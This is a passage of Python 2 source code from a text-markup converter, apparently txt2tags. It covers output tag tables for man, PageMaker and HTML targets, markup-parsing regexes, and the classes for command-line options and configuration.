'deflistItem1Close' : '\n%cont, font "normal"\n' , 'bar1' : '%bar "white" 5' , 'bar2' : '%pause' , 'url' : '\n%cont, fore "cyan"\n\a' +\ '\n%cont, fore "white"\n' , 'urlMark' : '\a \n%cont, fore "cyan"\n\a'+\ '\n%cont, fore "white"\n' , 'email' : '\n%cont, fore "cyan"\n\a' +\ '\n%cont, fore "white"\n' , 'emailMark' : '\a \n%cont, fore "cyan"\n\a'+\ '\n%cont, fore "white"\n' , 'img' : '\n%~A~\n%newimage "\a"\n%left\n', 'comment' : '%% \a' , 'pageBreak' : '%page\n\n\n' , 'EOD' : '%%EOD' }, # man groff_man ; man 7 groff 'man': { 'paragraphOpen' : '.P' , 'title1' : '.SH \a' , 'title2' : '.SS \a' , 'title3' : '.SS \a' , 'title4' : '.SS \a' , 'title5' : '.SS \a' , 'blockVerbOpen' : '.nf' , 'blockVerbClose' : '.fi\n' , 'blockQuoteOpen' : '.RS' , 'blockQuoteClose' : '.RE' , 'fontBoldOpen' : '\\fB' , 'fontBoldClose' : '\\fR' , 'fontItalicOpen' : '\\fI' , 'fontItalicClose' : '\\fR' , 'listOpen' : '.RS' , 'listItemOpen' : '.IP \(bu 3\n', 'listClose' : '.RE' , 'numlistOpen' : '.RS' , 'numlistItemOpen' : '.IP \a. 3\n', 'numlistClose' : '.RE' , 'deflistItem1Open' : '.TP\n' , 'bar1' : '\n\n' , 'bar2' : '\n\n' , 'url' : '\a' , 'urlMark' : '\a (\a)', 'email' : '\a' , 'emailMark' : '\a (\a)', 'img' : '\a' , 'tableOpen' : '.TS\n~A~~B~tab(^); ~C~.', 'tableClose' : '.TE' , 'tableRowOpen' : ' ' , 'tableCellSep' : '^' , 'tableAlignCenter' : 'center, ', 'tableBorder' : 'allbox, ', 'tableColAlignLeft' : 'l' , 'tableColAlignRight' : 'r' , 'tableColAlignCenter' : 'c' , 'comment' : '.\\" \a' }, 'pm6': { 'paragraphOpen' : '<@Normal:>' , 'title1' : '\n<@Title1:>\a', 'title2' : '\n<@Title2:>\a', 'title3' : '\n<@Title3:>\a', 'title4' : '\n<@Title4:>\a', 'title5' : '\n<@Title5:>\a', 'blockVerbOpen' : '<@PreFormat:>' , 'blockQuoteLine' : '<@Quote:>' , 'fontMonoOpen' : '<FONT "Lucida Console"><SIZE 9>' , 'fontMonoClose' : '<SIZE$><FONT$>', 'fontBoldOpen' : '<B>' , 'fontBoldClose' : '<P>' , 'fontItalicOpen' : '<I>' , 'fontItalicClose' : '<P>' , 'fontUnderlineOpen' : '<U>' , 'fontUnderlineClose' : '<P>' , 'listOpen' : '<@Bullet:>' , 'listItemOpen' : '\x95\t' , # \x95 == ~U 'numlistOpen' : '<@Bullet:>' , 'numlistItemOpen' : '\x95\t' , 'bar1' : '\a' , 'bar2' : '\a' , 'url' : '<U>\a<P>' , # underline 'urlMark' : '\a <U>\a<P>' , 'email' : '\a' , 'emailMark' : '\a \a' , 'img' : '\a' } } # exceptions for --css-sugar if config['css-sugar'] and config['target'] in ('html','xhtml'): # change just HTML because XHTML inherits it htmltags = alltags['html'] # table with no cellpadding htmltags['tableOpen'] = string.replace( htmltags['tableOpen'], ' CELLPADDING="4"', '') # DIVs htmltags['tocOpen' ] = '<DIV CLASS="toc" ID="toc">' htmltags['tocClose'] = '</DIV>' htmltags['bodyOpen'] = '<DIV CLASS="body" ID="body">' htmltags['bodyClose']= '</DIV>' # make the HTML -> XHTML inheritance xhtml = alltags['html'].copy() for key in xhtml.keys(): xhtml[key] = string.lower(xhtml[key]) # some like HTML tags as lowercase, some don't... (headers out) if HTML_LOWER: alltags['html'] = xhtml.copy() xhtml.update(alltags['xhtml']) alltags['xhtml'] = xhtml.copy() # compose the target tags dictionary tags = {} target_tags = alltags[config['target']].copy() for key in keys: tags[key] = '' # create empty keys for key in target_tags.keys(): tags[key] = maskEscapeChar(target_tags[key]) # populate return tags ############################################################################## def getRules(config): "Returns all the target-specific syntax rules" ret = {} allrules = [ # target rules (ON/OFF) 'linkable', # target supports external links 'tableable', # target supports tables 'imglinkable', # target supports images as links 'imgalignable', # target supports image alignment 'imgasdefterm', # target supports image as definition term 'autonumberlist', # target supports numbered lists natively 'autonumbertitle', # target supports numbered titles natively 'parainsidelist', # lists items supports paragraph 'spacedlistitem', # lists support blank lines between items 'listnotnested', # lists cannot be nested 'quotenotnested', # quotes cannot be nested 'verbblocknotescaped', # don't escape specials in verb block 'verbblockfinalescape', # do final escapes in verb block 'escapeurl', # escape special in link URL 'onelinepara', # dump paragraph as a single long line 'tabletitlerowinbold', # manually bold any cell on table titles 'tablecellstrip', # strip extra spaces from each table cell 'barinsidequote', # bars are allowed inside quote blocks 'finalescapetitle', # perform final escapes on title lines 'autotocnewpagebefore', # break page before automatic TOC 'autotocnewpageafter', # break page after automatic TOC 'autotocwithbars', # automatic TOC surrounded by bars # target code beautify (ON/OFF) 'indentverbblock', # add leading spaces to verb block lines 'breaktablecell', # break lines after any table cell 'breaktablelineopen', # break line after opening table line 'notbreaklistopen', # don't break line after opening a new list 'notbreakparaopen', # don't break line after opening a new para 'keepquoteindent', # don't remove the leading TABs on quotes 'keeplistindent', # don't remove the leading spaces on lists 'blankendmotherlist', # append a blank line at the mother list end 'blankendtable', # append a blank line at the table end 'blankendautotoc', # append a blank line at the auto TOC end 'tagnotindentable', # tags must be placed at the line begining # value settings 'listmaxdepth', # maximum depth for lists 'tablecellaligntype' # type of table cell align: cell, column ] rules_bank = { 'txt' : { 'indentverbblock':1, 'spacedlistitem':1, 'parainsidelist':1, 'keeplistindent':1, 'barinsidequote':1, 'autotocwithbars':1, 'blankendmotherlist':1 }, 'html': { 'indentverbblock':1, 'linkable':1, 'escapeurl':1, 'imglinkable':1, 'imgalignable':1, 'imgasdefterm':1, 'autonumberlist':1, 'spacedlistitem':1, 'parainsidelist':1, 'blankendmotherlist':1, 'tableable':1, 'tablecellstrip':1, 'blankendtable':1, 'breaktablecell':1, 'breaktablelineopen':1, 'keeplistindent':1, 'keepquoteindent':1, 'barinsidequote':1, 'autotocwithbars':1, 'tablecellaligntype':'cell' }, #TIP xhtml inherits all HTML rules 'xhtml': { }, 'sgml': { 'linkable':1, 'escapeurl':1, 'autonumberlist':1, 'spacedlistitem':1, 'blankendmotherlist':1, 'tableable':1, 'tablecellstrip':1, 'blankendtable':1, 'blankendautotoc':1, 'quotenotnested':1, 'keeplistindent':1, 'keepquoteindent':1, 'barinsidequote':1, 'finalescapetitle':1, 'tablecellaligntype':'column' }, 'mgp' : { 'blankendmotherlist':1, 'tagnotindentable':1, 'spacedlistitem':1, 'imgalignable':1, 'autotocnewpagebefore':1, }, 'tex' : { 'autonumberlist':1, 'autonumbertitle':1, 'spacedlistitem':1, 'blankendmotherlist':1, 'tableable':1, 'tablecellstrip':1, 'tabletitlerowinbold':1, 'blankendtable':1, 'verbblocknotescaped':1, 'keeplistindent':1, 'listmaxdepth':4, 'barinsidequote':1, 'finalescapetitle':1, 'autotocnewpageafter':1, 'tablecellaligntype':'column' }, 'moin': { 'spacedlistitem':1, 'linkable':1, 'blankendmotherlist':1, 'keeplistindent':1, 'tableable':1, 'barinsidequote':1, 'blankendtable':1, 'tabletitlerowinbold':1, 'tablecellstrip':1, 'autotocwithbars':1, 'tablecellaligntype':'cell' }, 'man' : { 'spacedlistitem':1, 'indentverbblock':1, 'blankendmotherlist':1, 'tagnotindentable':1, 'tableable':1, 'tablecellaligntype':'column', 'tabletitlerowinbold':1, 'tablecellstrip':1, 'blankendtable':1, 'keeplistindent':0, 'barinsidequote':1, 'parainsidelist':0, }, 'pm6' : { 'keeplistindent':1, 'verbblockfinalescape':1, #TODO add support for these - maybe set a JOINNEXT char and # do it on addLineBreaks() 'notbreaklistopen':1, 'notbreakparaopen':1, 'barinsidequote':1, 'autotocwithbars':1, 'onelinepara':1, } } # exceptions for --css-sugar if config['css-sugar'] and config['target'] in ('html','xhtml'): rules_bank['html']['indentverbblock'] = 0 rules_bank['html']['autotocwithbars'] = 0 # get the target specific rules if config['target'] == 'xhtml': myrules = rules_bank['html'].copy() # inheritance myrules.update(rules_bank['xhtml']) # get XHTML specific else: myrules = rules_bank[config['target']].copy() # populate return dictionary for key in allrules: ret[key] = 0 # reset all ret.update(myrules) # get rules return ret ############################################################################## def getRegexes(): "Returns all the regexes used to find the t2t marks" bank = { 'blockVerbOpen': re.compile(r'^```\s*$'), 'blockVerbClose': re.compile(r'^```\s*$'), 'blockRawOpen': re.compile(r'^"""\s*$'), 'blockRawClose': re.compile(r'^"""\s*$'), 'quote': re.compile(r'^\t+'), '1lineVerb': re.compile(r'^``` (?=.)'), '1lineRaw': re.compile(r'^""" (?=.)'), # mono, raw, bold, italic, underline: # - marks must be glued with the contents, no boundary spaces # - they are greedy, so in ****bold****, turns to <b>**bold**</b> 'fontMono': re.compile( r'``([^\s](|.*?[^\s])`*)``'), 'raw': re.compile( r'""([^\s](|.*?[^\s])"*)""'), 'fontBold': re.compile(r'\*\*([^\s](|.*?[^\s])\**)\*\*'), 'fontItalic': re.compile( r'//([^\s](|.*?[^\s])/*)//'), 'fontUnderline': re.compile( r'__([^\s](|.*?[^\s])_*)__'), 'list': re.compile(r'^( *)(-) (?=[^ ])'), 'numlist': re.compile(r'^( *)(\+) (?=[^ ])'), 'deflist': re.compile(r'^( *)(:) (.*)$'), 'listclose': re.compile(r'^( *)([-+:])\s*$'), 'bar': re.compile(r'^(\s*)([_=-]{20,})\s*$'), 'table': re.compile(r'^ *\|\|? '), 'blankline': re.compile(r'^\s*$'), 'comment': re.compile(r'^%'), # auxiliar tag regexes '_imgAlign' : re.compile(r'~A~',re.I), '_tableAlign' : re.compile(r'~A~',re.I), '_anchor' : re.compile(r'~A~',re.I), '_tableBorder' : re.compile(r'~B~',re.I), '_tableColAlign': re.compile(r'~C~',re.I), } # special char to place data on TAGs contents (\a == bell) bank['x'] = re.compile('\a') # %%macroname [ (formatting) ] bank['macros'] = re.compile(r'%%%%(?P<name>%s)\b(\((?P<fmt>.*?)\))?'%( string.join(MACROS.keys(), '|')), re.I) # %%TOC special macro for TOC positioning bank['toc'] = re.compile(r'^ *%%toc\s*$', re.I) # almost complicated title regexes ;) titskel = r'^ *(?P<id>%s)(?P<txt>%s)\1(\[(?P<label>[\w-]*)\])?\s*$' bank[ 'title'] = re.compile(titskel%('[=]{1,5}','[^=](|.*[^=])')) bank['numtitle'] = re.compile(titskel%('[+]{1,5}','[^+](|.*[^+])')) ### complicated regexes begin here ;) # # textual descriptions on --help's style: [...] is optional, | is OR ### first, some auxiliar variables # # [image.EXT] patt_img = r'\[([\w_,.+%$#@!?+~/-]+\.(png|jpe?g|gif|eps|bmp))\]' # link things urlskel = { 'proto' : r'(https?|ftp|news|telnet|gopher|wais)://', 'guess' : r'(www[23]?|ftp)\.', # w/out proto, try to guess 'login' : r'A-Za-z0-9_.-', # for ftp://login@domain.com 'pass' : r'[^ @]*', # for ftp://login:pass@dom.com 'chars' : r'A-Za-z0-9%._/~:,=$@&+-', # %20(space), :80(port), D&D 'anchor': r'A-Za-z0-9%._-', # %nn(encoded) 'form' : r'A-Za-z0-9/%&=+;.,$@*_-', # .,@*_-(as is) 'punct' : r'.,;:!?' } # username [ :password ] @ patt_url_login = r'([%s]+(:%s)?@)?'%(urlskel['login'],urlskel['pass']) # [ http:// ] [ username:password@ ] domain.com [ / ] # [ #anchor | ?form=data ] retxt_url = r'\b(%s%s|%s)[%s]+\b/*(\?[%s]+)?(#[%s]+)?'%( urlskel['proto'],patt_url_login, urlskel['guess'], urlskel['chars'],urlskel['form'],urlskel['anchor']) # filename | [ filename ] #anchor retxt_url_local = r'[%s]+|[%s]*(#[%s]+)'%( urlskel['chars'],urlskel['chars'],urlskel['anchor']) # user@domain [ ?form=data ] patt_email = r'\b[%s]+@([A-Za-z0-9_-]+\.)+[A-Za-z]{2,4}\b(\?[%s]+)?'%( urlskel['login'],urlskel['form']) # saving for future use bank['_urlskel'] = urlskel ### and now the real regexes # bank['email'] = re.compile(patt_email,re.I) # email | url bank['link'] = re.compile(r'%s|%s'%(retxt_url,patt_email), re.I) # \[ label | imagetag url | email | filename \] bank['linkmark'] = re.compile( r'\[(?P<label>%s|[^]]+) (?P<link>%s|%s|%s)\]'%( patt_img, retxt_url, patt_email, retxt_url_local), re.L+re.I) # image bank['img'] = re.compile(patt_img, re.L+re.I) # special things bank['special'] = re.compile(r'^%!\s*') return bank ### END OF regex nightmares ############################################################################## def echo(msg): # for quick debug print '\033[32;1m%s\033[m'%msg def Quit(msg, exitcode=0): print msg sys.exit(exitcode) def Error(msg): sys.stderr.write(_("%s: Error: ")%my_name + "%s\n"%msg) sys.stderr.flush() sys.exit(1) def ShowTraceback(): try: from traceback import print_exc print_exc() ; print ; print except: pass def Message(msg,level): if level <= VERBOSE and not QUIET: prefix = '-'*5 print "%s %s"%(prefix*level, msg) def Debug(msg,color=0,linenr=None): "0gray=init,1red=conf,3yellow=line,6cyan=block,2green=detail,5pink=gui" if QUIET or not DEBUG: return if COLOR_DEBUG: msg = '\033[3%s;1m%s\033[m'%(color,msg) if linenr is not None: msg = "LINE %04d: %s"%(linenr,msg) print "** %s"%msg def Readfile(file, remove_linebreaks=0): if file == '-': try: data = sys.stdin.readlines() except: Error(_('You must feed me with data on STDIN!')) else: try: f = open(file); data = f.readlines() ; f.close() except: Error(_("Cannot read file:")+"\n %s"%file) if remove_linebreaks: data = map(lambda x:re.sub('[\n\r]+$','',x), data) Message(_("Readed file (%d lines): %s")%(len(data),file),2) return data def Savefile(file, contents): try: f = open(file, 'wb') except: Error(_("Cannot open file for writing:")+"\n %s"%file) if type(contents) == type([]): doit = f.writelines else: doit = f.write doit(contents) ; f.close() def showdic(dic): for k in dic.keys(): print "%15s : %s" % (k,dic[k]) def dotted_spaces(txt=''): return string.replace(txt,' ','.') def get_rc_path(): "Return the full path for the users' RC file" rc_file = RC # search the RC dir on the specified system variables # TIP: win: http://www.winnetmag.com/Article/ArticleID/23873/23873.html rc_dir_search = ['HOME', 'HOMEPATH'] for var in rc_dir_search: rc_dir = os.environ.get(var) if rc_dir: break if rc_dir: # compose path and return it if the file exists rc_path = os.path.join(rc_dir, rc_file) # on windows, prefix with the drive (%homedrive%: 2k/XP/NT) if sys.platform[:3] == 'win': rc_drive = os.environ.get('HOMEDRIVE') rc_path = os.path.join(rc_drive,rc_path) return rc_path return '' ############################################################################## class CommandLine: """ Command Line class - Masters command line This class checks and extract data from the provided command line. The --long options and flags are taken from the global OPTIONS, FLAGS and ACTIONS dictionaries. The short options are registered here, and also their equivalence to the long ones. METHODS: _compose_short_opts() -> str _compose_long_opts() -> list Compose the valid short and long options list, on the 'getopt' format. parse() -> (opts, args) Call getopt to check and parse the command line. It expects to receive the command line as a list, and without the program name (sys.argv[1:]). get_raw_config() -> [RAW config] Scans command line and convert the data to the RAW config format. See ConfigMaster class to the RAW format description. Optional 'ignore' and 'filter' arguments are used to filter in or out specified keys. compose_cmdline(dict) -> [Command line] Compose a command line list from an already parsed config dictionary, generated from RAW by ConfigMaster(). Use this to compose an optimal command line for a group of options. The get_raw_config() calls parse(), so the tipical use of this class is: raw = CommandLine().get_raw_config(sys.argv[1:]) """ def __init__(self): self.all_options = OPTIONS.keys() self.all_flags = FLAGS.keys() self.all_actions = ACTIONS.keys() # short:long options equivalence self.short_long = { 'h':'help' , 'V':'version', 'n':'enum-title', 'i':'infile' , 'H':'no-headers', 'o':'outfile', 'v':'verbose' , 't':'target' , 'q':'quiet' } # compose valid short and long options data for getopt self.short_opts = self._compose_short_opts() self.long_opts = self._compose_long_opts() def _compose_short_opts(self): "Returns a string like 'hVt:o' with all short options/flags" ret = [] for opt in self.short_long.keys(): long = self.short_long[opt] if long in self.all_options: # is flag or option? opt = opt+':' # option: have param ret.append(opt) Debug('Valid SHORT options: %s'%ret) return string.join(ret, '') def _compose_long_opts(self): "Returns a list with all the valid long options/flags" ret = map(lambda x:x+'=', self.all_options) # add = ret.extend(self.all_flags) # flag ON ret.extend(self.all_actions) # acts ret.extend(map(lambda x:'no-'+x, self.all_flags)) # add no-* ret.extend(['no-style']) # turn OFF option ret.extend(['no-encoding']) # turn OFF option ret.extend(['no-outfile']) # turn OFF option Debug('Valid LONG options: %s'%ret) return ret def _tokenize(self, cmd_string=''): "Convert a command line string to a list" #TODO protect quotes contents return string.split(cmd_string) def parse(self, cmdline=[]): "Check/Parse a command line list TIP: no program name!" # get the valid options short, long = self.short_opts, self.long_opts # parse it! try: opts, args = getopt.getopt(cmdline, short, long) except getopt.error, errmsg: Error(_("%s (try --help)")%errmsg) return (opts, args) def get_raw_config(self, cmdline=[], ignore=[], filter=[]): "Returns the options/arguments found as RAW config" if not cmdline: return [] ret = [] # we need lists, not strings if type(cmdline) == type(''): cmdline = self._tokenize(cmdline) Debug("cmdline: %s"%cmdline) opts, args = self.parse(cmdline[:]) # get infile, if any while args: infile = args.pop(0) ret.append(['infile', infile]) # parse all options for name,value in opts: # remove leading - and -- name = re.sub('^--?', '', name) # alias to old mispelled 'suGGar' if name == 'css-suggar': name = 'css-sugar' elif name == 'no-css-suggar': name = 'no-css-sugar' # translate short opt to long if len(name) == 1: name = self.short_long.get(name) # save it ret.append([name, value]) # apply 'ignore' and 'filter' rules (filter is stronger) temp = ret[:] ; ret = [] for name,value in temp: if (not filter and not ignore) or \ (filter and name in filter) or \ (ignore and name not in ignore): ret.append( ['all', name, value] ) # add the original command line string as 'realcmdline' ret.append( ['all', 'realcmdline', cmdline] ) return ret def compose_cmdline(self, conf={}, no_check=0): "compose a full (and diet) command line from CONF dict" if not conf: return [] args = [] dft_options = OPTIONS.copy() cfg = conf.copy() valid_opts = self.all_options + self.all_flags use_short = {'no-headers':'H', 'enum-title':'n'} # remove useless options if not no_check and cfg.get('toc-only'): if cfg.has_key('no-headers'): del cfg['no-headers'] if cfg.has_key('outfile'): del cfg['outfile'] # defaults to STDOUT if cfg.get('target') == 'txt': del cfg['target'] # already default args.append('--toc-only') # must be the first del cfg['toc-only'] # add target type if cfg.has_key('target'): args.append('-t '+cfg['target']) del cfg['target'] # add other options for key in cfg.keys(): if key not in valid_opts: continue # may be a %!setting if key in ['outfile','infile']: continue # later val = cfg[key] if not val: continue # default values are useless on cmdline if val == dft_options.get(key): continue # -short format if key in use_short.keys(): args.append('-'+use_short[key]) continue # --long format if key in self.all_flags: # add --option args.append('--'+key) else: # add --option=value args.append('--%s=%s'%(key,val)) # the outfile using -o if cfg.has_key('outfile') and \ cfg['outfile'] != dft_options.get('outfile'): args.append('-o '+cfg['outfile']) # place input file(s) always at the end if cfg.has_key('infile'): args.append(string.join(cfg['infile'],' ')) # return as a nice list Debug("Diet command line: %s"%string.join(args,' '), 1) return args ############################################################################## class SourceDocument: """ SourceDocument class - scan document structure, extract data It knows about full files. It reads a file and identify all the areas begining (Head,Conf,Body). With this info it can extract each area contents. Note: the original line break is removed. DATA: self.arearef - Save Head, Conf, Body init line number self.areas - Store the area names which are not empty self.buffer - The full file contents (with NO \\r, \\n) METHODS: get() - Access the contents of an Area. Example: config = SourceDocument(file).get('conf') split() - Get all the document Areas at once. Example: head, conf, body = SourceDocument(file).split() RULES: * The document parts are sequential: Head, Conf and Body. * One ends when the next begins. * The Conf Area is optional, so a document can have just Head and Body Areas. These are the Areas limits: - Head Area: the first three lines - Body Area: from the first valid text line to the end - Conf Area: the comments between Head and Body Areas Exception: If the first line is blank, this means no header info, so the Head Area is just the first line. """ def __init__(self, filename=''): self.areas = ['head','conf','body'] self.arearef = [] self.areas_fancy = '' self.filename = filename self.buffer = [] if filename: self.scan(filename) def split(self): "Returns all document parts, splitted into lists." return self.get('head'), self.get('conf'), self.get('body') def get(self, areaname): "Returns head|conf|body contents from self.buffer" # sanity if areaname not in self.areas: return [] if not self.buffer : return [] # go get it bufini = 1 bufend = len(self.buffer) if areaname == 'head': ini = bufini end = self.arearef[1] or self.arearef[2] or bufend elif areaname == 'conf': ini = self.arearef[1] end = self.arearef[2] or bufend elif areaname == 'body': ini = self.arearef[2] end = bufend else: Error("Unknown Area name '%s'"%areaname) lines = self.buffer[ini:end] # make sure head will always have 3 lines while areaname == 'head' and len(lines) < 3: lines.append('') return lines def scan(self, filename): "Run through source file and identify head/conf/body areas" Debug("source file: %s"%filename) Message(_("Loading source document"),1) buf = Readfile(filename, remove_linebreaks=1) if len(buf) == 0: Error(_('The input file is empty: %s')%filename) cfg_parser = ConfigLines().parse_line buf.insert(0, '') # text start at pos 1 ref = [1,4,0] if not string.strip(buf[1]): # no header ref[0] = 0 ; ref[1] = 2 rgx = getRegexes() for i in range(ref[1],len(buf)): # find body init: if string.strip(buf[i]) and ( # ... not blank and buf[i][0] != '%' or # ... not comment or rgx['macros'].match(buf[i]) or # ... %%macro rgx['toc'].match(buf[i]) or # ... %%toc cfg_parser(buf[i],'include')[1]): # ... %!include ref[2] = i ; break if ref[1] == ref[2]: ref[1] = 0 # no conf area for i in 0,1,2: # del !existent if ref[i] >= len(buf): ref[i] = 0 # title-only if not ref[i]: self.areas[i] = '' Debug('Head,Conf,Body start line: %s'%ref) self.arearef = ref # save results self.buffer = buf # fancyness sample: head conf body (1 4 8) self.areas_fancy = "%s (%s)"%( string.join(self.areas), string.join(map(str, map(lambda x:x or '', ref)))) Message(_("Areas found: %s")%self.areas_fancy, 2) def get_raw_config(self): "Handy method to get the CONF area RAW config (if any)" if not self.areas.count('conf'): return [] Message(_("Scanning source document CONF area"),1) raw = ConfigLines( file=self.filename, lines=self.get('conf'), first_line=self.arearef[1]).get_raw_config() Debug("document raw config: %s"%raw, 1) return raw ############################################################################## class ConfigMaster: """ ConfigMaster class - the configuration wizard This class is the configuration master. It knows how to handle the RAW and PARSED config format. It also performs the sanity checkings for a given configuration. DATA: self.raw - Stores the config on the RAW format self.parsed - Stores the config on the PARSED format self.defaults - Stores the default values for all keys self.off - Stores the OFF values for all keys self.multi - List of keys which can have multiple values self.numeric - List of keys which value must be a number self.incremental - List of keys which are incremental RAW FORMAT: The RAW format is a list of lists, being each mother list item a full configuration entry. Any entry is a 3 item list, on the following format: [ TARGET, KEY, VALUE ] Being a list, the order is preserved, so it's easy to use different kinds of configs, as CONF area and command line, respecting the precedence. The special target 'all' is used when no specific target was defined on the original config. PARSED FORMAT: The PARSED format is a dictionary, with all the 'key : value' found by reading the RAW config. The self.target contents matters, so this dictionary only contains the target's config. The configs of other targets are ignored. The CommandLine and ConfigLines classes have the get_raw_config() method which convert the configuration found to the RAW format. Just feed it to parse() and get a brand-new ready-to-use config dictionary. Example: >>> raw = CommandLine().get_raw_config(['-n', '-H']) >>> print raw [['all', 'enum-title', ''], ['all', 'no-headers', '']] >>> parsed = ConfigMaster(raw).parse() >>> print parsed {'enum-title': 1, 'headers': 0} """ def __init__(self, raw=[], target=''): self.raw = raw self.target = target self.parsed = {} self.dft_options = OPTIONS.copy() self.dft_flags = FLAGS.copy() self.dft_actions = ACTIONS.copy() self.dft_settings = SETTINGS.copy() self.defaults = self._get_defaults() self.off = self._get_off() self.multi = ['infile', 'options','preproc','postproc'] self.incremental = ['verbose'] self.numeric = ['toc-level','split'] def _get_defaults(self): "Get the default values for all config/options/flags" empty = {} for kw in CONFIG_KEYWORDS: empty[kw] = '' empty.update(self.dft_options) empty.update(self.dft_flags) empty.update(self.dft_actions) empty.update(self.dft_settings) empty['realcmdline'] = '' # internal use only empty['sourcefile'] = '' # internal use only return empty def _get_off(self): "Turns OFF all the config/options/flags" off = {} for key in self.defaults.keys(): kind = type(self.defaults[key]) if kind == type(9): off[key] = 0 elif kind == type(''): off[key] = '' elif kind == type([]): off[key] = [] else: Error('ConfigMaster: %s: Unknown type'+key) return off def _check_target(self): "Checks if the target is already defined. If not, do it" if not self.target: self.target = self.find_value('target') def get_target_raw(self): "Returns the raw config for self.target or 'all'" ret = [] self._check_target() for entry in self.raw: if entry[0] in [self.target, 'all']: ret.append(entry) return ret def add(self, key, val): "Adds the key:value pair to the config dictionary (if needed)" # %!options if key == 'options': ignoreme = self.dft_actions.keys() + ['target'] raw_opts = CommandLine().get_raw_config( val, ignore=ignoreme) for target, key, val in raw_opts: self.add(key, val) return # the no- prefix turns OFF this key if key[:3] == 'no-': key = key[3:] # remove prefix val = self.off.get(key) # turn key OFF # is this key valid? if key not in self.defaults.keys(): Debug('Bogus Config %s:%s'%(key,val),1) return # is this value the default one? if val == self.defaults.get(key): # if default value, remove previous key:val if self.parsed.has_key(key): del self.parsed[key] # nothing more to do return # flags ON comes empty. we'll add the 1 value now if val == '' and \ key in self.dft_flags.keys()+self.dft_actions.keys(): val = 1 # multi value or single? if key in self.multi: # first one? start new list if not self.parsed.has_key(key): self.parsed[key] = [] self.parsed[key].append(val) # incremental value? so let's add it elif key in self.incremental: self.parsed[key] = (self.parsed.get(key) or 0) + val else: self.parsed[key] = val fancykey = dotted_spaces("%12s"%key) Message(_("Added config %s : %s")%(fancykey,val),3) def get_outfile_name(self, config={}): "Dirname is the same for {in,out}file" infile, outfile = config['sourcefile'], config['outfile'] if infile == STDIN and not outfile: outfile = STDOUT if not outfile and (infile and config.get('target')): basename = re.sub('\.(txt|t2t)$','',infile) outfile = "%s.%s"%(basename, config['target']) Debug(" infile: '%s'"%infile , 1) Debug("outfile: '%s'"%outfile, 1) return outfile def sanity(self, config, gui=0): "Basic config sanity checkings" if not config: return {} target = config.get('target') # --toc-only doesn't require target specification if not target and config.get('toc-only'): target = 'txt' # on GUI, some checkings are skipped if not gui: # we *need* a target if not target: Error(_('No target specified (try --help)')+\ '\n\n'+\ _('Maybe trying to convert an old v1.x file?')) # and of course, an infile also if not config['infile']: Error(_('Missing input file (try --help)')) # is the target valid? if not TARGETS.count(target): Error(_("Invalid target '%s' (try --help)" )%target) # ensure all keys are present empty = self.defaults.copy() ; empty.update(config) config = empty.copy() # check integers options for key in config.keys(): if key in self.numeric: try: config[key] = int(config[key]) except: Error(_('--%s value must be a number' )%key) # check split level value if config['split'] not in [0,1,2]: Error(_('Option --split must be 0, 1 or 2')) # --toc-only is stronger than others if config['toc-only']: config['headers'] = 0 config['toc'] = 0 config['split'] = 0 config['gui'] = 0 config['outfile'] = config['outfile'] or STDOUT # splitting is disable for now (future: HTML only, no STDOUT) config['split'] = 0 # restore target config['target'] = target # set output file name config['outfile'] = self.get_outfile_name(config) # checking suicide if config['sourcefile'] == config['outfile'] and \ config['outfile'] != STDOUT and not gui: Error(_("Input and Output files are the same: %s")%( config['outfile'])) return config def parse(self): "Returns the parsed config for the current target" raw = self.get_target_raw() for target, key, value in raw: self.add(key, value) Message(_("Added the following keys: %s")%string.join( self.parsed.keys(),', '),2) return self.parsed.copy() def find_value(self, key='', target=''): "Scans ALL raw config to find the desired key" ret = [] # scan and save all values found for targ, k, val in self.raw: if targ in [target, 'all'] and k == key: ret.append(val) if not ret: return '' # if not multi value, return only the last found if key in self.multi: return ret else : return ret[-1] ######################################################################## class ConfigLines: """ ConfigLines class - the config file data extractor This class reads and parse the config lines on the %!key:val format, converting it to RAW config. It deals with user config file (RC file), source document CONF area and %!includeconf directives. Call it passing a file name or feed the desired config lines. Then just call the get_raw_config() method and wait to receive the full config data on the RAW format. This method also follows the possible %!includeconf directives found on the config lines. Example: raw = ConfigLines(file=".txt2tagsrc").get_raw_config() The parse_line() method is also useful to be used alone, to identify and tokenize a single config line. For example, to get the %!include command components, on the source document BODY: target, key, value = ConfigLines().parse_line(body_line) """ def __init__(self, file='', lines=[], first_line=1): self.file = file or 'NOFILE' self.lines = lines self.first_line = first_line def load_lines(self): "Make sure we've loaded the file contents into buffer" if not self.lines and not self.file: Error("ConfigLines: No file or lines provided") if not self.lines: self.lines = self.read_config_file(self.file) def read_config_file(self, filename=''): "Read a Config File contents, aborting on invalid line" if not filename: return [] errormsg = _("Invalid CONFIG line on %s")+"\n%03d:%s" lines = Readfile(filename, remove_linebreaks=1) # sanity: try to find invalid config lines for i in range(len(lines)): line = string.rstrip(lines[i]) if not line: continue # empty if line[0] != '%': Error(errormsg%(filename,i+1,line)) return lines def include_config_file(self, file=''): "Perform the %!includeconf action, returning RAW config" if not file: return [] # current dir relative to the current file (self.file) current_dir = os.path.dirname(self.file) file = os.path.join(current_dir, file) # read and parse included config file contents lines = self.read_config_file(file) return ConfigLines(file=file, lines=lines).get_raw_config() def get_raw_config(self): "Scan buffer and extract all config as RAW (including includes)" ret = [] self.load_lines() first = self.first_line for i in range(len(self.lines)): line = self.lines[i] Message(_("Processing line %03d: %s")%(first+i,line),2) target, key, val = self.parse_line(line) if not key: continue # no config on this line if key == 'includeconf': more_raw = self.include_config_file(val) ret.extend(more_raw) Message(_("Finished Config file inclusion: %s" )%(val),2) else: ret.append([target, key, val]) Message(_("Added %s")%key,3) return ret def parse_line(self, line='', keyname='', target=''): "Detects %!key:val config lines and extract data from it" empty = ['', '', ''] if not line: return empty no_target = ['target', 'includeconf'] re_name = keyname or '[a-z]+' re_target = target or '[a-z]*' cfgregex = re.compile(""" ^%%!\s* # leading id with opt spaces (?P<name>%s)\s* # config name (\((?P<target>%s)\))? # optional target spec inside () \s*:\s* # key:value delimiter with opt spaces (?P<value>\S.+?) # config value \s*$ # rstrip() spaces and hit EOL """%(re_name,re_target), re.I+re.VERBOSE) prepostregex = re.compile(""" # ---[ PATTERN ]--- ^( "([^"]*)" # "double quoted" or | '([^']*)' # 'single quoted' or | ([^\s]+) # single_word ) \s+ # separated by spaces # ---[ REPLACE ]--- ( "([^"]*)" # "double quoted" or | '([^']*)' # 'single quoted' or | (.*) # anything ) \s*$ """, re.VERBOSE) guicolors = re.compile("^([^\s]+\s+){3}[^\s]+") # 4 tokens match = cfgregex.match(line) if not match: return empty name = string.lower(match.group('name') or '') target = string.lower(match.group('target') or 'all') value = 